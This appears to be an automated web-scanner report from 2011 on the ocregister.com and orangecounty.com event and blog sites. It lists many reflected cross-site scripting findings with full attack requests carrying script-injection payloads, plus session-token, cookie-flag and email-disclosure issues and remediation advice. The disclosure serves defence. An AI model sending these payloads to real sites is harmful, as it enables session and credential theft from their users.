Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
1.1. http://events.ocregister.com/ [name of an arbitrarily supplied request parameter]next
Summary
Severity:
High
Confidence:
Certain
Host:
http://events.ocregister.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f9e5a"><script>alert(1)</script>8d769312283 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?f9e5a"><script>alert(1)</script>8d769312283=1 HTTP/1.1 Host: events.ocregister.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_vnum_w=1296972000168%26vn%3D1; s_cc=true; s_lastvisit=1296750717165; zvents_tracker_sid=gFDu54d2RzA0D1OeZSWZyg.100539684; sinvisit_w=true; s_sq=%5B%5BB%5D%5D; s_nr=1296750723302; welcome=gFDu54d2RzA0D1OeZSWZyg.100539684; sinvisit_m=true; fi_dslv=First%20page%20view%20or%20cookies%20not%20supported; s_vnum_m=1298959200170%26vn%3D1;
The value of the jsonsp request parameter is copied into the HTML document as plain text between tags. The payload 89933<script>alert(1)</script>7b37a8f386f was submitted in the jsonsp parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
1.3. http://events.ocregister.com/movies [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://events.ocregister.com
Path:
/movies
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 94f3e"><script>alert(1)</script>ceef51fea12 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /movies?94f3e"><script>alert(1)</script>ceef51fea12=1 HTTP/1.1 Host: events.ocregister.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_vnum_w=1296972000168%26vn%3D1; s_cc=true; s_lastvisit=1296750717165; zvents_tracker_sid=gFDu54d2RzA0D1OeZSWZyg.100539684; sinvisit_w=true; s_sq=%5B%5BB%5D%5D; s_nr=1296750723302; welcome=gFDu54d2RzA0D1OeZSWZyg.100539684; sinvisit_m=true; fi_dslv=First%20page%20view%20or%20cookies%20not%20supported; s_vnum_m=1298959200170%26vn%3D1;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en"> <head> <meta http-equiv ...[SNIP]... <meta property="og:url" content="http://www.zvents.com/movies?94f3e"><script>alert(1)</script>ceef51fea12=1" /> ...[SNIP]...
1.4. http://events.ocregister.com/restaurants [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://events.ocregister.com
Path:
/restaurants
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6a3ab"><script>alert(1)</script>f73c13b2255 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /restaurants?6a3ab"><script>alert(1)</script>f73c13b2255=1 HTTP/1.1 Host: events.ocregister.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_vnum_w=1296972000168%26vn%3D1; s_cc=true; s_lastvisit=1296750717165; zvents_tracker_sid=gFDu54d2RzA0D1OeZSWZyg.100539684; sinvisit_w=true; s_sq=%5B%5BB%5D%5D; s_nr=1296750723302; welcome=gFDu54d2RzA0D1OeZSWZyg.100539684; sinvisit_m=true; fi_dslv=First%20page%20view%20or%20cookies%20not%20supported; s_vnum_m=1298959200170%26vn%3D1;
The value of the st_select request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 744e1"%3balert(1)//1e62870ad6d was submitted in the st_select parameter. This input was echoed as 744e1";alert(1)//1e62870ad6d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /search?swhat=superbowl11&swhen=&swhere=Irvine%2CCA&commit=Search&st_select=event744e1"%3balert(1)//1e62870ad6d&search=true&svt=text&srss= HTTP/1.1 Host: events.ocregister.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_vnum_w=1296972000168%26vn%3D1; s_cc=true; s_lastvisit=1296750717165; zvents_tracker_sid=gFDu54d2RzA0D1OeZSWZyg.100539684; sinvisit_w=true; s_sq=%5B%5BB%5D%5D; s_nr=1296750723302; welcome=gFDu54d2RzA0D1OeZSWZyg.100539684; sinvisit_m=true; fi_dslv=First%20page%20view%20or%20cookies%20not%20supported; s_vnum_m=1298959200170%26vn%3D1;
The value of the st_select request parameter is copied into the HTML document as plain text between tags. The payload 7c80e<script>alert(1)</script>e0b48eab0cb was submitted in the st_select parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /search?swhat=superbowl11&swhen=&swhere=Irvine%2CCA&commit=Search&st_select=event7c80e<script>alert(1)</script>e0b48eab0cb&search=true&svt=text&srss= HTTP/1.1 Host: events.ocregister.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_vnum_w=1296972000168%26vn%3D1; s_cc=true; s_lastvisit=1296750717165; zvents_tracker_sid=gFDu54d2RzA0D1OeZSWZyg.100539684; sinvisit_w=true; s_sq=%5B%5BB%5D%5D; s_nr=1296750723302; welcome=gFDu54d2RzA0D1OeZSWZyg.100539684; sinvisit_m=true; fi_dslv=First%20page%20view%20or%20cookies%20not%20supported; s_vnum_m=1298959200170%26vn%3D1;
The value of the st_select request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1f25f"><script>alert(1)</script>de56addb30 was submitted in the st_select parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /search?swhat=superbowl11&swhen=&swhere=Irvine%2CCA&commit=Search&st_select=event1f25f"><script>alert(1)</script>de56addb30&search=true&svt=text&srss= HTTP/1.1 Host: events.ocregister.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_vnum_w=1296972000168%26vn%3D1; s_cc=true; s_lastvisit=1296750717165; zvents_tracker_sid=gFDu54d2RzA0D1OeZSWZyg.100539684; sinvisit_w=true; s_sq=%5B%5BB%5D%5D; s_nr=1296750723302; welcome=gFDu54d2RzA0D1OeZSWZyg.100539684; sinvisit_m=true; fi_dslv=First%20page%20view%20or%20cookies%20not%20supported; s_vnum_m=1298959200170%26vn%3D1;
The value of the st_select request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d737d'%3balert(1)//cee44e0808f was submitted in the st_select parameter. This input was echoed as d737d';alert(1)//cee44e0808f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /search?swhat=superbowl11&swhen=&swhere=Irvine%2CCA&commit=Search&st_select=eventd737d'%3balert(1)//cee44e0808f&search=true&svt=text&srss= HTTP/1.1 Host: events.ocregister.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_vnum_w=1296972000168%26vn%3D1; s_cc=true; s_lastvisit=1296750717165; zvents_tracker_sid=gFDu54d2RzA0D1OeZSWZyg.100539684; sinvisit_w=true; s_sq=%5B%5BB%5D%5D; s_nr=1296750723302; welcome=gFDu54d2RzA0D1OeZSWZyg.100539684; sinvisit_m=true; fi_dslv=First%20page%20view%20or%20cookies%20not%20supported; s_vnum_m=1298959200170%26vn%3D1;
The value of the svt request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 66943"><script>alert(1)</script>2a358999d52 was submitted in the svt parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /search?swhat=superbowl11&swhen=&swhere=Irvine%2CCA&commit=Search&st_select=event&search=true&svt=text66943"><script>alert(1)</script>2a358999d52&srss= HTTP/1.1 Host: events.ocregister.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_vnum_w=1296972000168%26vn%3D1; s_cc=true; s_lastvisit=1296750717165; zvents_tracker_sid=gFDu54d2RzA0D1OeZSWZyg.100539684; sinvisit_w=true; s_sq=%5B%5BB%5D%5D; s_nr=1296750723302; welcome=gFDu54d2RzA0D1OeZSWZyg.100539684; sinvisit_m=true; fi_dslv=First%20page%20view%20or%20cookies%20not%20supported; s_vnum_m=1298959200170%26vn%3D1;
The value of the swhat request parameter is copied into the HTML document as plain text between tags. The payload 36469<a%20b%3dc>2719cbb6ab was submitted in the swhat parameter. This input was echoed as 36469<a b=c>2719cbb6ab in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags and attributes into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /search?swhat=superbowl1136469<a%20b%3dc>2719cbb6ab&swhen=&swhere=Irvine%2CCA&commit=Search&st_select=event&search=true&svt=text&srss= HTTP/1.1 Host: events.ocregister.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_vnum_w=1296972000168%26vn%3D1; s_cc=true; s_lastvisit=1296750717165; zvents_tracker_sid=gFDu54d2RzA0D1OeZSWZyg.100539684; sinvisit_w=true; s_sq=%5B%5BB%5D%5D; s_nr=1296750723302; welcome=gFDu54d2RzA0D1OeZSWZyg.100539684; sinvisit_m=true; fi_dslv=First%20page%20view%20or%20cookies%20not%20supported; s_vnum_m=1298959200170%26vn%3D1;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en"> <head> <meta http-equiv ...[SNIP]... &new=n&search=true&srad=30&srss=&st=any&st_select=event&svt=text&swhat=superbowl1136469%3Ca+b%3Dc%3E2719cbb6ab&swhen=&swhere=Irvine%2CCA">Search for "superbowl1136469<a b=c>2719cbb6ab" in all products</a> ...[SNIP]...
The value of the swhat request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bd510</script><a%20b%3dc>535a6ed6f38 was submitted in the swhat parameter. This input was echoed as bd510</script><a b=c>535a6ed6f38 in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags and attributes into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /search?swhat=superbowl11bd510</script><a%20b%3dc>535a6ed6f38&swhen=&swhere=Irvine%2CCA&commit=Search&st_select=event&search=true&svt=text&srss= HTTP/1.1 Host: events.ocregister.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_vnum_w=1296972000168%26vn%3D1; s_cc=true; s_lastvisit=1296750717165; zvents_tracker_sid=gFDu54d2RzA0D1OeZSWZyg.100539684; sinvisit_w=true; s_sq=%5B%5BB%5D%5D; s_nr=1296750723302; welcome=gFDu54d2RzA0D1OeZSWZyg.100539684; sinvisit_m=true; fi_dslv=First%20page%20view%20or%20cookies%20not%20supported; s_vnum_m=1298959200170%26vn%3D1;
The value of the swhen request parameter is copied into the HTML document as plain text between tags. The payload 85df0<script>alert(1)</script>404a1997572 was submitted in the swhen parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /search?swhat=superbowl11&swhen=85df0<script>alert(1)</script>404a1997572&swhere=Irvine%2CCA&commit=Search&st_select=event&search=true&svt=text&srss= HTTP/1.1 Host: events.ocregister.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_vnum_w=1296972000168%26vn%3D1; s_cc=true; s_lastvisit=1296750717165; zvents_tracker_sid=gFDu54d2RzA0D1OeZSWZyg.100539684; sinvisit_w=true; s_sq=%5B%5BB%5D%5D; s_nr=1296750723302; welcome=gFDu54d2RzA0D1OeZSWZyg.100539684; sinvisit_m=true; fi_dslv=First%20page%20view%20or%20cookies%20not%20supported; s_vnum_m=1298959200170%26vn%3D1;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en"> <head> <meta http-equiv ...[SNIP]... <div id="error_message"> Unrecognized date format: 85df0<script>alert(1)</script>404a1997572 is not recognized as a valid time. Here are some examples of times that we recognize:<ul style='padding-left:15px;'> ...[SNIP]...
The value of the swhere request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a218c"%3balert(1)//25febe7845a was submitted in the swhere parameter. This input was echoed as a218c";alert(1)//25febe7845a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /search?swhat=superbowl11&swhen=&swhere=Irvine%2CCAa218c"%3balert(1)//25febe7845a&commit=Search&st_select=event&search=true&svt=text&srss= HTTP/1.1 Host: events.ocregister.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_vnum_w=1296972000168%26vn%3D1; s_cc=true; s_lastvisit=1296750717165; zvents_tracker_sid=gFDu54d2RzA0D1OeZSWZyg.100539684; sinvisit_w=true; s_sq=%5B%5BB%5D%5D; s_nr=1296750723302; welcome=gFDu54d2RzA0D1OeZSWZyg.100539684; sinvisit_m=true; fi_dslv=First%20page%20view%20or%20cookies%20not%20supported; s_vnum_m=1298959200170%26vn%3D1;
1.14. http://events.ocregister.com/venues [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://events.ocregister.com
Path:
/venues
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 49e9d"><script>alert(1)</script>a5e0ca94175 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /venues?49e9d"><script>alert(1)</script>a5e0ca94175=1 HTTP/1.1 Host: events.ocregister.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_vnum_w=1296972000168%26vn%3D1; s_cc=true; s_lastvisit=1296750717165; zvents_tracker_sid=gFDu54d2RzA0D1OeZSWZyg.100539684; sinvisit_w=true; s_sq=%5B%5BB%5D%5D; s_nr=1296750723302; welcome=gFDu54d2RzA0D1OeZSWZyg.100539684; sinvisit_m=true; fi_dslv=First%20page%20view%20or%20cookies%20not%20supported; s_vnum_m=1298959200170%26vn%3D1;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en"> <head> <meta http-equiv ...[SNIP]... <meta property="og:url" content="http://www.zvents.com/venues?49e9d"><script>alert(1)</script>a5e0ca94175=1" /> ...[SNIP]...
1.15. http://events.orangecounty.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://events.orangecounty.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fcc4c"><script>alert(1)</script>b1440f97378 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?fcc4c"><script>alert(1)</script>b1440f97378=1 HTTP/1.1 Host: events.orangecounty.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1c0a2"><script>alert(1)</script>02b7ab40d5d was submitted in the REST URL parameter 5. This input was echoed as 1c0a2\"><script>alert(1)</script>02b7ab40d5d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2011/02/03/chain-to-use-eco-friendly-bike-to-deliver-pizzas-super-bowl-sunday/865141c0a2"><script>alert(1)</script>02b7ab40d5d/ HTTP/1.1 Host: fastfood.ocregister.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 19:05:49 GMT Server: Apache X-Powered-By: PHP/5.2.5 Vary: Cookie X-Pingback: http://fastfood.ocregister.com/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Thu, 03 Feb 2011 19:05:52 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 64068
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns:og="http://opengraphprotocol.org/schema/" xmlns="http://www.w3.org ...[SNIP]... ication/rss+xml" title=" Page not found - Fast Food Maven - www.ocregister.com" href="http://fastfood.ocregister.com/2011/02/03/chain-to-use-eco-friendly-bike-to-deliver-pizzas-super-bowl-sunday/865141c0a2\"><script>alert(1)</script>02b7ab40d5d/feed/" /> ...[SNIP]...
1.17. http://fastfood.ocregister.com/2011/02/03/chain-to-use-eco-friendly-bike-to-deliver-pizzas-super-bowl-sunday/86514/ [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3ef48"><script>alert(1)</script>95bfb7dccc8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 3ef48\"><script>alert(1)</script>95bfb7dccc8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2011/02/03/chain-to-use-eco-friendly-bike-to-deliver-pizzas-super-bowl-sunday/86514/?3ef48"><script>alert(1)</script>95bfb7dccc8=1 HTTP/1.1 Host: fastfood.ocregister.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 19:05:33 GMT Server: Apache X-Powered-By: PHP/5.2.5 Vary: Cookie X-Pingback: http://fastfood.ocregister.com/xmlrpc.php Link: <http://fastfood.ocregister.com/?p=86514>; rel=shortlink Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 78253
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns:og="http://opengraphprotocol.org/schema/" xmlns="http: ...[SNIP]... of eco-friendly, food delivery bikes - Fast Food Maven - www.ocregister.com" href="http://fastfood.ocregister.com/2011/02/03/chain-to-use-eco-friendly-bike-to-deliver-pizzas-super-bowl-sunday/86514/?3ef48\"><script>alert(1)</script>95bfb7dccc8=1feed/" /> ...[SNIP]...
Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.
Issue remediation
The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.
Request
GET /2011/02/03/chain-to-use-eco-friendly-bike-to-deliver-pizzas-super-bowl-sunday/86514/ HTTP/1.1 Host: fastfood.ocregister.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 19:05:09 GMT Server: Apache X-Powered-By: PHP/5.2.5 Vary: Cookie Last-Modified: Thu, 03 Feb 2011 19:01:36 +0000 Cache-Control: max-age=87, must-revalidate X-Pingback: http://fastfood.ocregister.com/xmlrpc.php Link: <http://fastfood.ocregister.com/?p=86514>; rel=shortlink Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns:og="http://opengraphprotocol.org/schema/" xmlns="http://www.w3.org ...[SNIP]... </div>
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
Request
GET /search?swhat=superbowl11&swhen=&swhere=Irvine%2CCA&commit=Search&st_select=event&search=true&svt=text&srss= HTTP/1.1 Host: events.ocregister.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_vnum_w=1296972000168%26vn%3D1; s_cc=true; s_lastvisit=1296750717165; zvents_tracker_sid=gFDu54d2RzA0D1OeZSWZyg.100539684; sinvisit_w=true; s_sq=%5B%5BB%5D%5D; s_nr=1296750723302; welcome=gFDu54d2RzA0D1OeZSWZyg.100539684; sinvisit_m=true; fi_dslv=First%20page%20view%20or%20cookies%20not%20supported; s_vnum_m=1298959200170%26vn%3D1;
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
GET / HTTP/1.1 Host: events.orangecounty.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /2011/02/03/chain-to-use-eco-friendly-bike-to-deliver-pizzas-super-bowl-sunday/86514/ HTTP/1.1 Host: fastfood.ocregister.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 19:05:09 GMT Server: Apache X-Powered-By: PHP/5.2.5 Vary: Cookie Last-Modified: Thu, 03 Feb 2011 19:01:36 +0000 Cache-Control: max-age=87, must-revalidate X-Pingback: http://fastfood.ocregister.com/xmlrpc.php Link: <http://fastfood.ocregister.com/?p=86514>; rel=shortlink Connection: close Content-Type: text/html
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: events.orangecounty.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following email address was disclosed in the response:
nluna@ocregister.com
Issue background
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
Request
GET /2011/02/03/chain-to-use-eco-friendly-bike-to-deliver-pizzas-super-bowl-sunday/86514/ HTTP/1.1 Host: fastfood.ocregister.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 19:05:09 GMT Server: Apache X-Powered-By: PHP/5.2.5 Vary: Cookie Last-Modified: Thu, 03 Feb 2011 19:01:36 +0000 Cache-Control: max-age=87, must-revalidate X-Pingback: http://fastfood.ocregister.com/xmlrpc.php Link: <http://fastfood.ocregister.com/?p=86514>; rel=shortlink Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns:og="http://opengraphprotocol.org/schema/" xmlns="http://www.w3.org ...[SNIP]... <a href="mailto:nluna@ocregister.com">nluna@ocregister.com</a> ...[SNIP]... <a href="mailto:nluna@ocregister.com"> ...[SNIP]...
7. HTML does not specify charsetpreviousnext There are 11 instances of this issue:
